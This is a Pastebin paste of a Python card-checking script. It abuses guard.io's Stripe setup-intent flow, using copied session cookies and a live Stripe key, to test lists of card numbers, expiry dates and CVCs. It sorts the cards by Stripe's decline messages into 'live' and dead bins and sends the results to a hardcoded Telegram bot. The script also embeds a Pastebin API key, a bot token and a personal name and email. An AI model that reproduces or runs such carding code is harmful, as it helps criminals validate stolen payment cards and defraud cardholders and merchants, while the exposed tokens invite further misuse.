aakash2310

Untitled

Jul 6th, 2023
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.54 KB | None | 0 0
  1. import requests
  2. import json
  3. import os
  4.  
  5. headers = {
  6. 'authority':
  7. 'api.stripe.com',
  8. 'accept':
  9. 'application/json',
  10. 'accept-language':
  11. 'en-US,en;q=0.9',
  12. 'content-type':
  13. 'application/x-www-form-urlencoded',
  14. 'origin':
  15. 'https://js.stripe.com',
  16. 'referer':
  17. 'https://js.stripe.com/',
  18. 'sec-ch-ua':
  19. '"Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"',
  20. 'sec-ch-ua-mobile':
  21. '?0',
  22. 'sec-ch-ua-platform':
  23. '"Windows"',
  24. 'sec-fetch-dest':
  25. 'empty',
  26. 'sec-fetch-mode':
  27. 'cors',
  28. 'sec-fetch-site':
  29. 'same-site',
  30. 'user-agent':
  31. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
  32. }
  33.  
  34. cookies2 = {
  35. 'uid':
  36. 'uid_BiDRJmbaPGpAZkcrzemixkxXwxGRs8sG',
  37. 'uid_cross':
  38. 'uid_BiDRJmbaPGpAZkcrzemixkxXwxGRs8sG',
  39. 'salt':
  40. 'salt_37cNkanUTQKzPoSGC6DN6W3et6LBG5p',
  41. 'mid':
  42. 'sid_JGhvZacQkswpMDWM8hcuYeboqmGZdmaQ',
  43. 'utm_source':
  44. 'ytinflu_ntts',
  45. 'utm_source_cross':
  46. 'ytinflu_ntts',
  47. 'coupon_code':
  48. 'NTTS',
  49. 'ref':
  50. 'nt',
  51. 'installed':
  52. '1',
  53. 'aid':
  54. 'aid_AgKvEN5Qiq29sDcv8sPpAaPgBRvacXza',
  55. 'threat_variety':
  56. '1',
  57. '__stripe_mid':
  58. '5f211277-8a8c-4ff1-be32-9e24c7ec2bb60bc42a',
  59. '__zlcmid':
  60. '1Gilwt0BlTwLf2y',
  61. '__stripe_sid':
  62. '706a3dcb-c171-4e2e-a926-e5f295aeb26c7b4ebc',
  63. 'fid':
  64. 'fid_bkDqebdyrubhr2a7PZRFtEX7kaoogNjM',
  65. '_dd_s':
  66. 'logs=1&id=6b6c0f5b-6f29-4a8c-83c5-7f56d4bfbead&created=1688609970514&expire=1688611562581',
  67. }
  68.  
  69. headers2 = {
  70. 'authority': 'guard.io',
  71. 'accept': '*/*',
  72. 'accept-language': 'en-US,en;q=0.9',
  73. # Already added when you pass json=
  74. # 'content-type': 'application/json',
  75. # 'cookie': 'uid=uid_BiDRJmbaPGpAZkcrzemixkxXwxGRs8sG; uid_cross=uid_BiDRJmbaPGpAZkcrzemixkxXwxGRs8sG; salt=salt_37cNkanUTQKzPoSGC6DN6W3et6LBG5p; mid=sid_JGhvZacQkswpMDWM8hcuYeboqmGZdmaQ; utm_source=ytinflu_ntts; utm_source_cross=ytinflu_ntts; coupon_code=NTTS; ref=nt; installed=1; aid=aid_AgKvEN5Qiq29sDcv8sPpAaPgBRvacXza; threat_variety=1; __stripe_mid=5f211277-8a8c-4ff1-be32-9e24c7ec2bb60bc42a; __zlcmid=1Gilwt0BlTwLf2y; __stripe_sid=706a3dcb-c171-4e2e-a926-e5f295aeb26c7b4ebc; fid=fid_bkDqebdyrubhr2a7PZRFtEX7kaoogNjM; _dd_s=logs=1&id=6b6c0f5b-6f29-4a8c-83c5-7f56d4bfbead&created=1688609970514&expire=1688611562581',
  76. 'origin': 'https://guard.io',
  77. 'referer': 'https://guard.io/activation/payment/premium',
  78. 'sec-ch-ua':
  79. '"Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"',
  80. 'sec-ch-ua-mobile': '?0',
  81. 'sec-ch-ua-platform': '"Windows"',
  82. 'sec-fetch-dest': 'empty',
  83. 'sec-fetch-mode': 'cors',
  84. 'sec-fetch-site': 'same-origin',
  85. 'user-agent':
  86. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
  87. 'x-guardio-id': 'gjfpmkejnolcfklaaddjnckanhhgegla',
  88. 'x-guardio-version': '23.3.27.838',
  89. }
  90.  
  91. json_data2 = {}
  92.  
  93. card_entries = {
  94. 'generic_declined': [],
  95. 'live_incorrect_cvv': [],
  96. 'not_supported': [],
  97. 'incorrect_number': [],
  98. 'invalid_account': [],
  99. 'dead_setup_intent': [],
  100. 'expired_card': [],
  101. 'other': []
  102. }
  103.  
  104.  
  105. def save_response_on_pastebin(response):
  106. api_url = "https://pastebin.com/api/api_post.php"
  107. api_dev_key = "wGQOUEoT4ISTyYUQPGOQVzw2QgULA6uL"
  108.  
  109. payload = {
  110. 'api_dev_key': api_dev_key,
  111. 'api_option': 'paste',
  112. 'api_paste_code': response
  113. }
  114.  
  115. response = requests.post(api_url, data=payload)
  116. if response.status_code == 200:
  117. return response.text.strip()
  118. else:
  119. return None
  120.  
  121.  
  122. class colors:
  123. LGREEN = '\033[38;2;129;199;116m'
  124. LRED = '\033[38;2;239;83;80m'
  125. RESET = '\u001B[0m'
  126. LXC = '\033[38;2;255;152;0m'
  127. GREY = '\033[38;2;158;158;158m'
  128. YELLOW = '\033[38;2;255;255;0m'
  129. ORANGE = '\033[38;2;255;165;0m'
  130. PINK = '\033[38;2;255;192;203m'
  131.  
  132.  
  133. # Read card details from file
  134. with open('cards.txt', 'r') as file:
  135. cards = file.read().splitlines()
  136.  
  137. for card in cards:
  138. card_data = card.split('|')
  139. card_number = card_data[0]
  140. exp_month = card_data[1]
  141. exp_year = card_data[2]
  142. cvc = card_data[3]
  143.  
  144. response2 = requests.post('https://guard.io/v3/accounting/s/setup',
  145. cookies=cookies2,
  146. headers=headers2,
  147. json=json_data2)
  148.  
  149. response_json2 = json.loads(response2.text)
  150. client_secret = response_json2['client_secret']
  151. # print(client_secret)
  152.  
  153. client = client_secret.split('_secret')[0]
  154. # print(client)
  155.  
  156. data = f'payment_method_data[type]=card&payment_method_data[billing_details][name]=aaksh+mishra&payment_method_data[billing_details][email]=bca64sem1ddu%40gmail.com&payment_method_data[billing_details][address][postal_code]=10102&payment_method_data[card][number]={card_number}&payment_method_data[card][cvc]={cvc}&payment_method_data[card][exp_month]={exp_month}&payment_method_data[card][exp_year]={exp_year}&payment_method_data[guid]=48acf26c-e63e-489d-8193-844e9330e36ac68f9c&payment_method_data[muid]=5f211277-8a8c-4ff1-be32-9e24c7ec2bb60bc42a&payment_method_data[sid]=31e419db-d7ee-4079-ae4c-aab965c7036c90e45f&payment_method_data[payment_user_agent]=stripe.js%2Fa0dcebad62%3B+stripe-js-v3%2Fa0dcebad62%3B+card-element&payment_method_data[time_on_page]=488504&expected_payment_method_type=card&use_stripe_sdk=true&key=pk_live_WT2QTZ9HhJt0mvO0UKj9n8kj00KgFQwkeJ&client_secret={client_secret}'
  157.  
  158. response = requests.post(
  159. 'https://api.stripe.com/v1/setup_intents/' + str(client) + '/confirm',
  160. headers=headers,
  161. data=data,
  162. )
  163.  
  164. if '"message": "Your card does not support this type of purchase.",' in response.text:
  165. print(
  166. f'{colors.YELLOW}{card_number}|{exp_month}|{exp_year}|{cvc}| NOT SUPPORTED'
  167. )
  168. a = f'{card_number}|{exp_month}|{exp_year}|{cvc}'
  169. card_entries['not_supported'].append(a)
  170. elif '"message": "Your card\'s security code is invalid.",' in response.text:
  171. print(
  172. f'{colors.YELLOW}{card_number}|{exp_month}|{exp_year}|{cvc}| CCN LIVE - INVALID CVV'
  173. )
  174. b = f'{card_number}|{exp_month}|{exp_year}|{cvc}'
  175. card_entries['live_incorrect_cvv'].append(b)
  176. elif '"message": "Your card\'s security code is incorrect.",' in response.text:
  177. print(
  178. f'{colors.YELLOW}{card_number}|{exp_month}|{exp_year}|{cvc}{response.text}| CCN LIVE - INCORRECT CVV'
  179. )
  180. c = f'{card_number}|{exp_month}|{exp_year}|{cvc}'
  181. card_entries['live_incorrect_cvv'].append(c)
  182. elif '"message": "Invalid account.",' in response.text:
  183. print(
  184. f'{colors.LRED}{card_number}|{exp_month}|{exp_year}|{cvc}| INVALID ACCOUNT'
  185. )
  186. d = f'{card_number}|{exp_month}|{exp_year}|{cvc}'
  187. card_entries['invalid_account'].append(d)
  188. elif '"message": "Your card was declined.",' in response.text:
  189. print(f'{colors.LRED}{card_number}|{exp_month}|{exp_year}|{cvc}| DECLINED')
  190. e = f'{card_number}|{exp_month}|{exp_year}|{cvc}'
  191. card_entries['generic_declined'].append(e)
  192. elif '"message": "Your card number is incorrect.",' in response.text:
  193. print(
  194. f'{colors.LRED}{card_number}|{exp_month}|{exp_year}|{cvc}| INCORECT CARD'
  195. )
  196. f = f'{card_number}|{exp_month}|{exp_year}|{cvc}'
  197. card_entries['incorrect_number'].append(f)
  198. elif '"message": "Your card has expired.",' in response.text:
  199. print(
  200. f'{colors.LRED}{card_number}|{exp_month}|{exp_year}|{cvc}| EXPIRED CARD')
  201. g = f'{card_number}|{exp_month}|{exp_year}|{cvc}'
  202. card_entries['expired_card'].append(g)
  203. else:
  204. print(f'{colors.LGREEN}{card_number}|{exp_month}|{exp_year}|{cvc}|{response.text} OTHER')
  205. h = f'{card_number}|{exp_month}|{exp_year}|{cvc}'
  206. card_entries['other'].append(h)
  207.  
  208. file_path = 'card_entries.txt' # Replace with the desired file path
  209.  
  210. with open(file_path, 'w') as file:
  211. for condition, entries in card_entries.items():
  212. file.write(
  213. f'================================= {condition.upper()} =================================\n\n'
  214. )
  215. if entries:
  216. for entry in entries:
  217. file.write(f'{entry}\n')
  218. else:
  219. file.write('\n')
  220. file.write('\n')
  221.  
  222. file_path = 'card_entries.txt'
  223. url = f"https://api.telegram.org/bot6000764395:AAE07247iBDp9Pit7NkKVKqMdwj8iTJRnMg/sendDocument"
  224. # Replace <YOUR_BOT_TOKEN> with your actual bot token
  225.  
  226. data = {
  227. 'chat_id':
  228. '749915431', # Replace <CHAT_ID> with the ID of the chat you want to send the file to
  229. }
  230.  
  231. files = {'document': open(file_path, 'rb')}
  232.  
  233. response = requests.post(url, data=data, files=files)
  234. if response.status_code == 200:
  235. print("File sent successfully.")
  236. else:
  237. print("Failed to send the file.")
  238.  
  239. # Delete the temporary text file
  240. os.remove(file_path)
  241.  
Advertisement
Add Comment
Please, Sign In to add comment